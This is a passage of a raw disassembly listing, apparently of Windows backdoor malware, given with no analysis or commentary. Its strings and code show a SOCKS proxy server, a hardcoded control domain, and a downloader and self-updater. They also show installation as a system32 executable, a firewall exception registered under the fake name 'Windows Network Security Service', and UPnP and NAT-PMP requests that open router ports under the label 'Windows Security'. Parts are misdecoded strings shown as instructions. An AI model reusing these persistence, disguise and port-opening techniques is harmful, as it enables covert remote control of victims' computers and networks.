sub_4042CD+4E1o ; DMN1:00446ACFo aConnectingToSI db 'connecting to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+4A3o ; DMN1:00446A91o aSocksVIS db 'socks v%i [%s]',0Ah,0 ; DATA XREF: sub_4042CD+119o ; DMN1:00446707o aConnectionReje db 'connection rejected (from [%s])',0Ah,0 ; DATA XREF: sub_4042CD+D8o ; DMN1:004466C6o aConnectionFrom db 'connection from [%s]',0Ah,0 ; DATA XREF: sub_4042CD+62o ; DMN1:00446650o a_win32__wnss_u db '_win32__wnss_um__',0 ; DATA XREF: sub_40410E+10o ; sub_44642F+10o aSystem db 'SYSTEM',0 ; DATA XREF: sub_4040C3+31o ; sub_4463E4+31o asc_40EADA db 0Dh,' ',0Dh,0 ; DATA XREF: sub_40400E+90o ; DMN1:004463BFo aISecondsLeft_ db 0Dh,'%i seconds left ',8,8,8,'.',0 ; DATA XREF: sub_40400E+67o ; DMN1:00446396o aSrvWaitingISec db 'Srv: waiting %i seconds...',0Ah,0 ; DATA XREF: sub_40400E+56o ; DMN1:00446385o aSrvcommthreadD db 'SrvCommThread: done',0Ah,0 ; DATA XREF: sub_403C3F:loc_403FD3o ; DMN1:loc_4462F4o ; =============== S U B R O U T I N E ======================================= sub_40EB3C proc near ; DATA XREF: sub_403C3F+351o ; DMN1:004462B1o ; FUNCTION CHUNK AT 0040EBB7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0040EC21 SIZE 00000008 BYTES push ebx push edx push esi cmp ah, [eax] jnb short loc_40EBB7 popa jb short loc_40EBBA imul ebp, [esi+67h], 64707520h popa jz short sub_40EBB5 jb short near ptr aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n" db 2Eh or al, cs:[eax] sub_40EB3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40EB56 proc near ; DATA XREF: sub_403C3F+2F5o ; DMN1:00446255o push ebx push edx push esi cmp ah, [eax] push ebp push eax inc edi push edx inc ecx inc esp inc ebp and ds:0A3E73h, bh sub_40EB56 endp ; sp-analysis failed ; --------------------------------------------------------------------------- byte_40EB69 db 53h, 52h, 56h ; DATA XREF: sub_403C3F:loc_403EF0o ; DMN1:loc_446211o dd 5049203Ah, 5453494Ch db 0Ah, 0 word_40EB76 dw 5253h ; DATA XREF: sub_403C3F:loc_403EE0o ; DMN1:loc_446201o dd 42203A56h, 0A4559h aSrvAckReject_0 db 'SRV: ACK rejected IPs failed',0Ah,0 ; CODE XREF: sub_40EB3C+14j ; DATA XREF: sub_403C3F+252o ... aSrvAckRejected db 'SRV: ACK rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+239o ; DMN1:00446199o ; =============== S U B R O U T I N E ======================================= sub_40EBB5 proc near ; CODE XREF: sub_40EB3C+12j ; DATA XREF: sub_403C3F+220o ... push ebx push edx sub_40EBB5 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_40EB3C loc_40EBB7: ; CODE XREF: sub_40EB3C+5j push esi cmp ah, [eax] loc_40EBBA: ; CODE XREF: sub_40EB3C+8j jnb short loc_40EC21 ; END OF FUNCTION CHUNK FOR sub_40EB3C outsb imul ebp, fs:[esi+67h], 6A657220h arpl gs:[ebp+64h], si and [ecx+50h], cl jnb short near ptr aSrvSendingReje+18h popaw ; --------------------------------------------------------------------------- db 69h, 6Ch, 65h db 64h, 0Ah, 0 aSrvSendingReje db '* SRV: sending rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+1B5o ; DMN1:00446115o aSrvAckHandshac db 'SRV: ACK handshacking failed',0Ah,0 ; DATA XREF: sub_403C3F+19Bo ; DMN1:004460FBo word_40EC12 dw 5253h ; DATA XREF: sub_403C3F:loc_403DC1o ; DMN1:loc_4460E2o dd 41203A56h, 68204B43h, 73646E61h db 68h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40EB3C loc_40EC21: ; CODE XREF: sub_40EB3C:loc_40EBBAj popa arpl [ebx+69h], bp outsb or al, [bx+si] ; END OF FUNCTION CHUNK FOR sub_40EB3C ; --------------------------------------------------------------------------- aSrvHandshaking db 'SRV: handshaking failed.',0Ah,0 ; DATA XREF: sub_403C3F+172o ; DMN1:004460D2o aSrvRip?I db 'SRV: rip? %i',0Ah,0 ; DATA XREF: sub_403C3F+141o ; DMN1:004460A1o aSrvHandshaki_0 db 'SRV: handshaking...',0Ah,0 ; DATA XREF: sub_403C3F:loc_403D68o ; DMN1:loc_446089o aSrvConnectingF db 'SRV: connecting failed.',0Ah,0 ; DATA XREF: sub_403C3F+119o ; DMN1:00446079o aSrvConnecting_ db 'SRV: connecting...',0Ah,0 ; DATA XREF: sub_403C3F+F7o ; DMN1:00446057o aSrvSI db 'SRV: [%s:%i]',0Ah,0 ; DATA XREF: sub_403C3F+CBo ; DMN1:0044602Bo aMyPortI db 'my port [%i]',0Ah,0 ; DATA XREF: sub_403C3F+A8o ; DMN1:00446008o aDep_mvl0an7_co db 'dep.mvl0an7.com',0 ; DATA XREF: sub_403C3F+2Bo ; DMN1:00445F8Bo aAuthorizedIpIS db 'authorized IP #%i [%s]',0Ah,0 ; DATA XREF: sub_403B86+5Fo ; sub_445EA7+5Fo aRunningSS___ db 'running %s (%s)...',0Dh,0Ah,0 ; DATA XREF: sub_40399A+14Fo ; DMN1:00445E0Ao asc_40ECEC db '" "',0 ; DATA XREF: sub_40399A+10Co ; DMN1:00445DC7o aUpdate db '*update "',0 ; DATA XREF: sub_40399A+E4o ; DMN1:00445D9Fo aMsssx db 'msssx',0 ; DATA XREF: sub_40399A+A2o ; DMN1:00445D5Do aDownloadedToS db 'downloaded to: <%s>',0Ah,0 ; DATA XREF: sub_40399A+7Bo ; DMN1:00445D36o aMsss db 'msss',0 ; DATA XREF: sub_40399A+4Bo ; DMN1:00445D06o aUpdateUrlS db 'UPDATE URL: <%s>',0Ah,0 ; DATA XREF: sub_40399A+24o ; DMN1:00445CDFo aDownloadedSS db 'downloaded [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+14Bo ; sub_445B59+14Bo aDownloadedFail db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+12Bo ; sub_445B59+12Bo aDownloadingSS db 'downloading [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+AEo ; sub_445B59+AEo aFopenS___ db 'fopen(%s)...',0Ah,0 ; DATA XREF: sub_403838+87o ; sub_445B59+87o aWb_0 db 'wb',0 ; DATA XREF: sub_403838:loc_4038A7o ; sub_445B59:loc_445BC8o aInternetopenur db 'InternetOpenUrl(): %i',0Ah,0 ; DATA XREF: sub_403838+51o ; sub_445B59+51o aInternetopenI db 'InternetOpen(): %i',0Ah,0 ; DATA XREF: sub_403838+22o ; sub_445B59+22o aMsdownloader db 'msdownloader',0 ; DATA XREF: sub_403838+14o ; sub_445B59+14o asc_40EDC9 db ' ',0 ; DATA XREF: sub_403723+98o ; DMN0:00404D09o ... aCWindowsSystem db 'C:\WINDOWS\system32\wnss.exe',0 ; DATA XREF: sub_403723:loc_40378Bo ; DMN0:loc_404CD9o ... asc_40EDE8 db '"',0 ; DATA XREF: sub_403723+33o ; sub_403723+7Fo ... a_win32__wnss_0 db '_win32__wnss_sm__',0 ; DATA XREF: DMN0:004036B2o ; sub_4036F6+4o ... a_win32__wnss_s db '_win32__wnss_sdm__',0 ; DATA XREF: sub_403604+10o ; sub_403658+4o ... aNatPmpReques_1 db 'NAT-PMP request #%i - port: [%i]',0Ah,0 ; DATA XREF: sub_403322+208o ; sub_445643+208o aNatPmpFwdReque db 'NAT-PMP fwd request #%i - ok',0Ah,0 ; DATA XREF: sub_403322+1BCo ; sub_445643+1BCo aReceivingNat_0 db 'receiving NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+171o ; sub_445643+171o aSetsockoptNa_0 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+13Ao ; sub_445643+13Ao aSendingNatPmpF db 'sending NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+C5o ; sub_445643+C5o aRouterIpS db 'router ip: [%s]',0Ah,0 ; DATA XREF: sub_403322+49o ; sub_445643+49o aNatPmpReques_0 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0 ; DATA XREF: sub_403113+1D5o ; sub_445434+1D5o aNatPmpRequestI db 'NAT-PMP request #%i - ok',0Ah,0 ; DATA XREF: sub_403113+192o ; sub_445434+192o aReceivingNatPm db 'receiving NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+14Ao ; sub_445434+14Ao aSetsockoptNatP db 'setsockopt NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+113o ; sub_445434+113o aSendingNatPmpR db 'sending NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+D6o ; sub_445434+D6o aDefaultGateway db 'default gateway: [%s]',0Ah,0 ; DATA XREF: sub_403113+62o ; sub_445434+62o aIupnpDiscove_4 db 'IUPnP discovery request #%i: ok.',0Ah,0 ; DATA XREF: sub_402B02+55Do ; sub_444E23+55Do aControlurl db '<controlURL>',0 ; DATA XREF: sub_402B02:loc_402EFCo ; sub_444E23:loc_44521Do aService db '</service>',0 ; DATA XREF: sub_402B02:loc_402ECFo ; sub_444E23:loc_4451F0o aService_0 db '<service>',0 ; DATA XREF: sub_402B02:loc_402E9Bo ; sub_444E23:loc_4451BCo aUrnSchemasUpnp db 'urn:schemas-upnp-org:service:WANIPConnection:1',0 ; DATA XREF: sub_402B02:loc_402E62o ; sub_444E23:loc_445183o aIupnpDiscove_3 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0 ; DATA XREF: sub_402B02+34Fo ; sub_444E23+34Fo aLocationS db 'location: <%s>',0Ah,0 ; DATA XREF: sub_402B02+316o ; sub_444E23+316o aIupnpDiscove_2 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0 ; DATA XREF: sub_402B02+2F5o ; sub_444E23+2F5o aIupnpDiscove_1 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0 ; DATA XREF: sub_402B02+27Do ; sub_444E23+27Do aLocation db 'location',0 ; DATA XREF: sub_402B02:loc_402D60o ; sub_444E23:loc_445081o aIupnpDiscove_0 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0 ; DATA XREF: sub_402B02+24Do ; sub_444E23+24Do aSchemasUpnpOrg db 'schemas-upnp-org:service:WANIPConnection:1',0 ; DATA XREF: sub_402B02+230o ; sub_444E23+230o aIupnpDiscovery db 'IUPnP discovery request #%i -- checking...',0Ah,0 ; DATA XREF: sub_402B02+224o ; sub_444E23+224o aReceivingIupnp db 'receiving IUPnP discovery request #%i...',0Ah,0 ; DATA XREF: sub_402B02+1ACo ; sub_444E23+1ACo aSetsockoptIupn db 'setsockopt IUPnP discovery request #%i...',0Ah,0 ; DATA XREF: sub_402B02+164o ; sub_444E23+164o aMSearchHttp1_1 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402B02+11Fo ; sub_402B02+136o ... db 'Host: 239.255.255.250:1900',0Dh,0Ah db 'ST: upnp:rootdevice',0Dh,0Ah db 'Man: "ssdp:discover"',0Dh,0Ah db 'MX: 3',0Dh,0Ah db 0Dh,0Ah,0 aSendingIupnpDi db 'sending IUPnP discovery request #%i...',0Ah,0 ; DATA XREF: sub_402B02+113o ; sub_444E23+113o aXbind___ db 'xbind...',0Ah,0 ; DATA XREF: sub_402B02+F3o ; sub_444E23+F3o aShit db 'shit!',0Ah,0 ; DATA XREF: sub_402B02+BFo ; sub_444E23+BFo a239_255_255_25 db '239.255.255.250',0 ; DATA XREF: sub_402B02+45o ; sub_402B02+92o ... aHttpAddmapRe_1 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0 ; DATA XREF: sub_402896+235o ; sub_444BB7+235o aHttpAddmapRe_0 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0 ; DATA XREF: sub_402896+196o ; sub_444BB7+196o aHttpAddmapRequ db 'HTTP AddMap request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_402896+B0o ; sub_444BB7+B0o aPostSHttp1_1Ho db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+7Fo ; sub_444BB7+7Fo db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aMPostSHttp1_1H db 'M-POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+58o ; sub_444BB7+58o db 'HOST: %s:%i',0Dh,0Ah db 'CONTENT-LENGTH: %i',0Dh,0Ah db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo' db 'rtMapping"',0Dh,0Ah db 0Dh,0Ah,0 aSEnvelopeXmlns db '<s:Envelope',0Dh,0Ah ; DATA XREF: sub_402896+1Ao ; sub_444BB7+1Ao db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah db '<s:Body>',0Dh,0Ah db '<u:AddPortMapping',0Dh,0Ah db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah db '<NewEnabled>1</NewEnabled>',0Dh,0Ah db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri' db 'ption>',0Dh,0Ah db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah db '</u:AddPortMapping>',0Dh,0Ah db '</s:Body>',0Dh,0Ah db '</s:Envelope>',0 a200 db '200',0 ; DATA XREF: sub_4025A9:loc_402838o ; sub_4448CA:loc_444B59o asc_40F612 db 0Ah,0 ; DATA XREF: sub_4025A9:loc_402809o ; sub_402896:loc_402A56o ... aHttpDiscover_0 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0 ; DATA XREF: sub_4025A9+234o ; sub_4448CA+234o aGetSHttp1_1Hos db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_4025A9+173o ; sub_4448CA+173o db 'HOST: %s:%i',0Dh,0Ah db 'ACCEPT-LANGUAGE: en',0Dh,0Ah db 0Dh,0Ah,0 aHttpDiscoveryR db 'HTTP discovery request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_4025A9+10Ao ; sub_4448CA+10Ao aHttp db 'http://',0 ; DATA XREF: sub_4025A9+25o ; sub_402B02+4A1o ... a_ db '.',0 ; DATA XREF: sub_402562:loc_402584o ; sub_444883:loc_4448A5o a6ea9b038C8014f db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 ; DATA XREF: sub_4023DC+7o ; sub_402449+5o ... aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal' ; DATA XREF: sub_402296+8Eo ; DMN0:00402373o ... db 'lPolicy\StandardProfile\AuthorizedApplications\List',0 aWindowsNetwork db 'Windows Network Security Service',0 ; DATA XREF: sub_402296+6Do ; sub_404FE9+42o ... aEnabled db ':*:Enabled:',0 ; DATA XREF: sub_402296+5Ao ; sub_4058BE+28o ... aHandshakeBadVe db 'Handshake: bad version (%i)',0Ah,0 ; DATA XREF: DMN0:00401E88o ; DMN1:004441A9o aHandshakeBadPa db 'Handshake: bad packed (%i)',0Ah,0 ; DATA XREF: DMN0:00401E68o ; DMN1:00444189o ... aHandshakeRecvE db 'Handshake: recv() error',0Ah,0 ; DATA XREF: DMN0:00401E53o ; DMN1:00444174o aProtorecvDataS db 'protorecv(): data size: %i (of %i)',0Ah,0 ; DATA XREF: sub_401BAC+12Do ; sub_443ECD+12Do ... aPktrecvPacketi db 'PktRecv(): packetId: 0x%03x',0Ah,0 ; DATA XREF: sub_401BAC+DEo ; sub_443ECD+DEo aPktrecvInvalid db 'PktRecv(): invalid signature (%i)',0Ah,0 ; DATA XREF: sub_401BAC+86o ; sub_443ECD+86o aPktsendIIBytes db 'PktSend(%i): %i bytes',0Ah,0 ; DATA XREF: sub_401ADA+68o ; sub_443DFB+68o aSIsS db '%s is %s',0Ah,0 ; DATA XREF: DMN0:004018A6o ; DMN1:00443BC7o aWinsock2_xInit db 'WinSock 2.x initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40133Co ; sub_44360D:loc_44365Do ... aWinsock1_1Init db 'WinSock 1.1 initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40132Fo ; sub_44360D:loc_443650o aA db 'a',0 ; DATA XREF: DMN0:004011E9o ; DMN1:0044350Ao aPm db 'PM',0 ; DATA XREF: DMN0:loc_401190o ; DMN1:loc_4434B1o aAm db 'AM',0 ; DATA XREF: DMN0:00401189o ; DMN1:004434AAo a02i02i02iIIIS db '%02i/%02i/%02i %i:%i:%i%s',0 ; DATA XREF: DMN0:004011C4o ; DMN1:004434E5o ... aS_0 db '%s',0 ; DATA XREF: DMN0:0040112Bo ; DMN0:00401147o ... align 4 dword_40F8A4 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4071B0+5o ; sub_4494D1+5o dd offset sub_40721A dword_40F8B0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4073C0+5o ; sub_4496E1+5o dd offset sub_40741B dword_40F8BC dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4074C0+5o ; sub_4497E1+5o dd offset sub_40751E dword_40F8C8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407620+5o ; sub_449941+5o dd offset sub_40766D dword_40F8D4 dd 0FFFFFFFFh, 407988h, 4079A3h ; DATA XREF: sub_407930+5o ; DMN1:00449C56o dword_40F8E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407AA0+5o ; sub_449DC1+5o dd offset sub_407B1D dword_40F8EC dd 0FFFFFFFFh, 407C45h, 407C60h, 4000h ; DATA XREF: sub_407B60+5o ; DMN1:00449E86o dword_40F8FC dd 0FFFFFFFFh, 0 ; DATA XREF: sub_408260+5o ; sub_44A581+5o dd offset sub_4082BE dd offset loc_4083EC dd offset loc_4083A2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 off_40F92C dd offset loc_4083DF ; DATA XREF: sub_408300+2Er ; sub_44A621+2Er dd offset loc_4083A2 dd offset loc_4083B2 dd offset loc_4083B2 dd offset loc_408420 dd offset loc_4083D2 dd offset loc_4083F9 ; --------------------------------------------------------------------------- retn 4083h ; --------------------------------------------------------------------------- align 4 retn 4083h ; --------------------------------------------------------------------------- align 10h retn 4083h ; --------------------------------------------------------------------------- align 4 dd offset loc_4083A2 dd offset loc_408413 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083B2 dd offset loc_4083D2 dd offset loc_408447 dd offset loc_4083B2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083D2 dd offset loc_4083A2 dd offset loc_4083D2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083B2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083D2 dd offset loc_4083A2 dd offset loc_4083B2 dd offset loc_4083D2 dd offset loc_40843A dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_40842D dd offset loc_4083A2 dd offset loc_4083F9 dd offset loc_408406 dd offset loc_408406 dd offset loc_4083F9 dd offset loc_4083A2 dd offset loc_4083D2 dd offset loc_4083EC dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_408413 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083B2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083A2 dd offset loc_4083DF dword_40FAF0 dd 232D2B20h, 30h ; DATA XREF: sub_4088A0+E4o ; sub_4088A0+FDo ... dword_40FAF8 dd 1, 2, 4, 8, 10h, 0 ; DATA XREF: sub_4088A0+EDr ; sub_44ABC1+EDr aHjltzl db 'hjltzL',0 ; DATA XREF: sub_4088A0+1CDo ; sub_44ABC1+1CDo align 4 aConin db 'CONIN$',0 ; DATA XREF: DMN0:00408B6Eo ; DMN1:0044AE8Fo aConout db 'CONOUT$',0 ; DATA XREF: sub_408B20+1Eo ; sub_44AE41+1Eo align 4 dword_40FB28 dd 0 ; DATA XREF: sub_408BE0+24o ; sub_44AF01+24o dd 0FFFFFFFFh, 11h dup(0) dword_40FB74 dd 0 ; DATA XREF: DMN0:off_411894o dword_40FB78 dd 0 ; DATA XREF: sub_409A10+36r ; sub_409A10+18Br ... dword_40FB7C dd 0 ; DATA XREF: sub_409A10+3Cr ; sub_409A10+191r ... db 2 dup(0) word_40FB82 dw 200h ; DATA XREF: DMN0:off_411898o dd 4 dup(100010h), 300130h, 300030h, 100030h, 8 dup(100010h) dd 400010h, 7 dup(800080h), 30080h, 4 dup(30003h), 800003h dd 3 dup(800080h), 3 dup(0A000Ah), 3 dup(80008h) dword_40FC1C dd 80008h ; DATA XREF: sub_409CF0+55r ; sub_44C011+55r aAaaaaa: dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 dw 8 unicode 0, <> dd 3 dup(60006h), 0Ah dup(40004h), 2 dup(800080h) dword_40FC80 dd 10h, 40h dup(0) ; DATA XREF: sub_409CF0+18r ; sub_44C011+18r dd offset loc_40A0C7 dd offset loc_40A3F7 dd offset loc_40A3F7 dd offset loc_40A3F7 dd offset loc_40A0C7 dd offset loc_40A0C7 dd offset loc_40A0C7 dd offset loc_40A0C7 dd offset loc_40A3F7 dd offset loc_409D4C dd offset loc_409DBB dd offset loc_40A0C7 dd offset loc_40A0C7 dd offset loc_40A0C7 dd offset loc_40A3F7 dd offset loc_409DBB dd offset loc_40A3F7 dd offset loc_40A3F7 dd offset loc_40A3F7 dd offset loc_40A3F7 dd offset loc_40A189 dd offset loc_409F53 dd offset loc_40A2C1 dd offset loc_40A3F7 dd offset loc_40A3F7 dd offset loc_40A31F dd offset loc_40A3F7 dd offset loc_409F53 dd offset loc_40A3F7 dd offset loc_40A3F7 dd offset loc_409F53 dword_40FE00 dd 6C756E28h, 296Ch ; DATA XREF: sub_409CF0+661o ; sub_44C011+661o asc_40FE08 db ' ',0 ; DATA XREF: sub_40A430+54o ; sub_40A430+23Do ... a00000000000000 db '00000000000000000000000000000000',0 ; DATA XREF: sub_40A430+D8o ; sub_40A430+15Co ... align 4 dword_40FE4C dd 0 ; DATA XREF: sub_40A6A0+Dr ; sub_44C9C1+Dr dd 0 dd 1, 2 db 2 dup(0) word_40FE5E dw 0E000h ; DATA XREF: DMN0:004118A4o ; DMN0:004118E4o ... dd 0E002E001h, 0E004E003h, 0E006E005h, 0E008E007h, 0E00AE009h dd 0E00CE00Bh, 0E00EE00Dh, 0E010E00Fh, 0E012E011h, 0E014E013h dd 0E016E015h, 0E018E017h, 0E01AE019h, 0E01CE01Bh, 0E01EE01Dh dd 0E020E01Fh, 0E022E021h, 0E024E023h, 0E026E025h, 0E028E027h dd 0E02AE029h, 0E02CE02Bh, 0E02EE02Dh, 0E030E02Fh, 0E032E031h dd 0E034E033h, 0E036E035h, 0E038E037h, 0E03AE039h, 0E03CE03Bh dd 0E03EE03Dh, 0E040E03Fh, 0E042E041h, 0E044E043h, 0E046E045h dd 0E048E047h, 0E04AE049h, 0E04CE04Bh, 0E04EE04Dh, 0E050E04Fh dd 0E052E051h, 0E054E053h, 0E056E055h, 0E058E057h, 0E05AE059h dd 0E05CE05Bh, 0E05EE05Dh, 0E060E05Fh, 0E062E061h, 0E064E063h dd 0E066E065h, 0E068E067h, 0E06AE069h, 0E06CE06Bh, 0E06EE06Dh dd 0E070E06Fh, 0E072E071h, 0E074E073h, 0E076E075h, 0E078E077h dd 0E07AE079h, 0E07CE07Bh, 0E07EE07Dh, 0E080E07Fh, 0E082E081h dd 0E084E083h, 0E086E085h, 0E088E087h, 0E08AE089h, 0E08CE08Bh dd 0E08EE08Dh, 0E090E08Fh, 0E092E091h, 0E094E093h, 0E096E095h dd 0E098E097h, 0E09AE099h, 0E09CE09Bh, 0E09EE09Dh, 0E0A0E09Fh dd 0E0A2E0A1h, 0E0A4E0A3h, 0E0A6E0A5h, 0E0A8E0A7h, 0E0AAE0A9h dd 0E0ACE0ABh, 0E0AEE0ADh, 0E0B0E0AFh, 0E0B2E0B1h, 0E0B4E0B3h dd 0E0B6E0B5h, 0E0B8E0B7h, 0E0BAE0B9h, 0E0BCE0BBh, 0E0BEE0BDh dd 0E0C0E0BFh, 0E0C2E0C1h, 0E0C4E0C3h, 0E0C6E0C5h, 0E0C8E0C7h dd 0E0CAE0C9h, 0E0CCE0CBh, 0E0CEE0CDh, 0E0D0E0CFh, 0E0D2E0D1h dd 0E0D4E0D3h, 0E0D6E0D5h, 0E0D8E0D7h, 0E0DAE0D9h, 0E0DCE0DBh dd 0E0DEE0DDh, 0E0E0E0DFh, 0E0E2E0E1h, 0E0E4E0E3h, 0E0E6E0E5h dd 0E0E8E0E7h, 0E0EAE0E9h, 0E0ECE0EBh, 0E0EEE0EDh, 0E0F0E0EFh dd 0E0F2E0F1h, 0E0F4E0F3h, 0E0F6E0F5h, 0E0F8E0F7h, 0E0FAE0F9h dd 0E0FCE0FBh, 0E0FEE0FDh, 0E0FFh aNull: ; DATA XREF: sub_40AF70+81o ; sub_44D291+81o unicode 0, <(null)>,0 align 10h a0123456789ab_0 db '0123456789abcdef',0 ; DATA XREF: sub_40B0C0:loc_40B0D8o ; sub_44D3E1:loc_44D3F9o a0123456789abcd db '0123456789ABCDEF',0 ; DATA XREF: sub_40B0C0+Fo ; sub_44D3E1+Fo align 4 dbl_410094 dq 1.0e1 ; DATA XREF: sub_40B310+3E4r ; sub_40B310+42Dr ... dd 0 dd 40590000h, 0 dd 40C38800h, 0 dd 4197D784h, 37E08000h, 4341C379h, 0B5056E17h, 4693B8B5h dd 0E93FF9F5h, 4D384F03h, 0F9301D32h, 5A827748h, 7F73BF3Ch dd 75154FDDh dbl_4100DC dq 1.0e8 ; DATA XREF: sub_40B310+4B5r ; sub_44D631+4B5r dbl_4100E4 dq 1.0 ; DATA XREF: sub_40B310+403r ; sub_44D631+403r dbl_4100EC dq 0.0 ; DATA XREF: sub_40B310+1BCr ; sub_40B310+28Ar ... a0123456789ab_2 db '0123456789ABCDEF',0 ; DATA XREF: sub_40B310:loc_40B494o ; sub_44D631:loc_44D7B5o a0123456789ab_1 db '0123456789abcdef',0 ; DATA XREF: sub_40B310+17Bo ; sub_44D631+17Bo off_410116 dd offset byte_464E49 ; DATA XREF: sub_40B310:loc_40B3FCo ; sub_44D631:loc_44D71Do word_41011A dw 6E69h ; DATA XREF: sub_40B310:loc_40B3F3o ; sub_44D631:loc_44D714o db 66h, 0 word_41011E dw 414Eh ; DATA XREF: sub_40B310:loc_40B3AAo ; sub_44D631:loc_44D6CBo byte_410120 db 4Eh, 0 ; DATA XREF: sub_40BD80+5Br ; sub_44E0A1+5Br word_410122 dw 616Eh ; DATA XREF: sub_40B310:loc_40B3A1o dd 6Eh, 40BE08h, 40BE23h, 40BDFFh, 40BE23h, 40BDEAh, 40BE23h dd 40BDF6h, 2 dup(40BE23h), 40BE11h aTerminating db ' -- terminating',0Ah,0 ; DATA XREF: sub_40BD80+10Do ; sub_44E0A1+10Do aSignal db 'signal #',0 ; DATA XREF: sub_40BD80+EAo ; sub_44E0A1+EAo aTerminationReq db 'termination request',0 ; DATA XREF: sub_40BD80:loc_40BE1Ao ; sub_44E0A1:loc_44E13Bo aInvalidStorage db 'invalid storage access',0 ; DATA XREF: sub_40BD80+91o ; sub_44E0A1+91o aInterruption db 'interruption',0 ; DATA XREF: sub_40BD80+88o ; sub_44E0A1+88o aInvalidExecuta db 'invalid executable code',0 ; DATA XREF: sub_40BD80+7Fo ; sub_44E0A1+7Fo aArithmeticErro db 'arithmetic error',0 ; DATA XREF: sub_40BD80+76o ; sub_44E0A1+76o 